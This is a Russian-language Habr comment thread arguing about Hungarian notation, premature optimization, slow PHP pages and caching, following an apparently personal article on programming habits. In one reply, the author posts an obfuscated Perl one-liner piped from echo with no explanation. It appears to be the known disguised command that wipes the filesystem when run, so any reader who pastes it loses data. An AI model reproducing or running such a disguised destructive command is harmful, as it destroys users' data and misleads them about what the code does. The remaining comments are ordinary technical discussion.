Как стать автором
Обновить

Комментарии 28

«Большой сайт пытаться впихнуть в парадигму работы «без SQL» наоборот может негативно сказаться на результатах.» феерично

надо было читать чужой код иногда и делать выводы…
А что вы ждали от человека, который:
1. За 6 лет так и не врубился, как использовать венгерскую нотацию
2. «разработка игр не удалась за отсутствием движка» — эпический бред.
3. курить маны по графике в дельфи и не найти инфу про OpenGL — тоже плюс :)
4.«пишите программы как можете сейчас, а не «как нужно»». Ага, только никому код потом не показывайте, особенно коллегам.
5. «Очень помогает в «не изобретению» велосипедов чтение про шаблоны проектирования (паттерны)» — не изобретению велосипедов очень помогает гугл, а паттерны проектирования помогают общению, и при составлении документации.

Уж не знаю, как автор измерял свой опыт работы, но это точно не 6 лет коммерческой разработки.

P.S. «Давайте будем честными: взлом малоизвестного ПО — маловероятно, особенно сайт с посещаемостью
1.Переход на личности признак отсутствия аргументов. Я написал про венгерскую нотацию ПРОЧИТАЙ КОНТЕКСТ.
2.В 97 было сложно без двига писать игру. Было сложно школьнику найти информацию.
Если не знаешь, что такое 14400бит/с с реконектом каждые 7-10 минут, то это не значит — феерический бред.
ЗЫ:
Многие нынешние новички не могут найти ответы на свои вопросы, не потому что её нет — зайди на форум и помоги людям. Когда поможешь паре десяткам задайся вопросом о Их вопросах.
3.Книги != маны, когда ИДЕ != в книге.
4.echo «test… test… test...» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
5.А Мы разве не про другую сторону?
Сам дошел до этого (Заниматься предварительно оптимизацией — зло), написал на пхп быдло-код, который работал 8 секунд, радость, всё работает.
Затем 3 дня делал оптимизации, сократил время работы до 2с, затем 4 дня увеличивалл функционал, время работы поднялось до 4-6с, но я знаю что если еще засяду на несколько дней, то вычту 1-2с, но зачем это делать, если текущее время устраивает, не придумал.
А статья понравилась.
4-6 секунд это время выполнения кода одной страницы сайта?

Это очень много же
Note:
Количества полезных операций на одной странице — ненормированно. Может этот результат объективно хороший. Такое может быть.
Да, я не спорю, например у нас в админке есть страницы которые генерятся по 10 секунд — разные сложные отчеты и т.д.

Но в клиентской части сайта, мне кажется, стоит стараться избегать таких вещей.

Например, можно делать загрузку страницы по частям, или предварительную генерацию тяжелых вещей и отображать пользователю уже из кеша.

Чтобы пользователь не видел тормозов сайта
Ну, автор обсуждаемого комментария не сказал, что это клиентский скрипт…
Поэтому я у него и спросил, это код страницы сайта, или просто какой-то скрипт.

Потому что если это страница сайта столько генерится — это долго. Если это просто какой то скрипт и время его работы устраивает — то в этом нет ничего страшного.
вордпресс плагин, который запускается каждые 30 минут, поэтому время выполнения меня устраивает.
Венгерская нотация, прокрастинация, предварительная оптимизация, взлом…

Я все ждал, когда появятся «окна пвх недорого».
… Преждевременная эякуляция.

Она неплохо бы вписалась продолжением, если посмотреть на кашу из мыслей, которая уже собрана в статье.
Точно. Статьи без упоминания «прокрастинации» сейчас не в моде, я поглажу…
Зачем гладить? Вы уже лучше like'ните :)
Это что ли перевод? не пойму… попахивает промптом.
Нет Я таким не балуюсь.
О жизни, Вселенной и всем таком
Пост о том, откуда берутся вёбпрограммисты.
Или велопрограммисты.
Я передал атмосферу запутанных мыслей, а так же их следствий — «тёмная сторона в программировании» на примере своих… надцати лет программирования.
Про венгерскую нотацию очень хорошо написал как-то Джоэл Спольски: www.joelonsoftware.com/articles/Wrong.html

Автор «Путь Джедая: акт 2» хрень написал. Считать себя умнее, лучше и т.п. — вполне нормально. А вот считать, что при этом не надо развиваться — вот это уже не нормально. В противном случае не было бы тех же великих спортсменов, которые многие годы на вершине и все еще продолжают прогрессировать.

А конкретно топик и не прокомментировать. Стандартный путь разработчика.
В книгах по программированию я читал, что нужно использовать венгерскую нотацию и префиксы формировать по типу данных: int iData;.
Но тут есть минус: при изменении типа потребуется изменять имя переменной.


Ну это как бы не единственный минус венгерской нотации. И вроде как далеко не самый серьезный :). Типы меняются не то чтобы часто. Переименование это примерно одна секунда в современной IDE — кликнуть идентификатор правым кликом, выбрать refactor->rename и ввести новое имя. Более того, необходимость при смене типа переименовывать переменную — многие считают наоборот плюсом — это позволяет самому посмореть на все места где использовалось старое имя и убедиться что смена типа там ничего не поломала (с).
Заниматься предварительно оптимизацией — зло.
Что, что?! По моему это нужно сразу ставить одной из главных целей, т.к. вам не придется возвращаться к старому и всё переписывать заново.
Выбор правильных тулзов != оптимизация.
Настройка Lamp != оптимизация.
Установка APC/mamcache/etc != оптимизация.

Когда всё настроено правильно, но ложится и тогда… оптимизация.
НЛО прилетело и опубликовало эту надпись здесь
Среднее соображение — еще более полезно %)
Зарегистрируйтесь на Хабре, чтобы оставить комментарий

Публикации

Изменить настройки темы

Истории